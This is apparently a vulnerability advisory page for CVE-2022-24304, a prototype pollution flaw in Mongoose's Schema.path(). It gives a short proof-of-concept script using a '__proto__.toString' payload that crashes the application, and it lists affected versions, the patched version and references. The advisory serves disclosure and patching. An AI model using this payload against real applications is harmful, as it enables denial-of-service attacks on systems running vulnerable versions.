CVE-2022-24304

描述

### Description Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Affected versions of this package are vulnerable to Prototype Pollution. The `Schema.path()` function is vulnerable to prototype pollution when setting the `schema` object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack. ### Proof of Concept ```js // poc.js const mongoose = require('mongoose'); const schema = new mongoose.Schema(); malicious_payload = '__proto__.toString' schema.path(malicious_payload, [String]) x = {} console.log(x.toString()) // crashed (Denial of service (DoS) attack) ``` ### Impact This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

如何修補 CVE-2022-24304

要修補 CVE-2022-24304,請將受影響套件升級到下列已修補版本。

• —升級至 6.4.6 或更新版本

CVE-2022-24304 正在被利用嗎?

目前沒有被利用訊號。CVE-2022-24304 既不在 CISA KEV 也沒有最新的 EPSS 分數。

受影響套件(1)

• >= 6.0.0, < 6.4.6

CVSS 分數

參考連結(6)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2022-24304
• WEBgithub.com/Automattic/mongoose/blob/51e758541763b6f14569744ced15cc23ab8b50c6/lib/schema.js#L88-L141
• WEBgithub.com/Automattic/mongoose/commit/6a197316564742c0422309e1b5fecfa4faec126e
• WEBgithub.com/Automattic/mongoose/commit/a45cfb6b0ce0067ae9794cfa80f7917e1fb3c6f8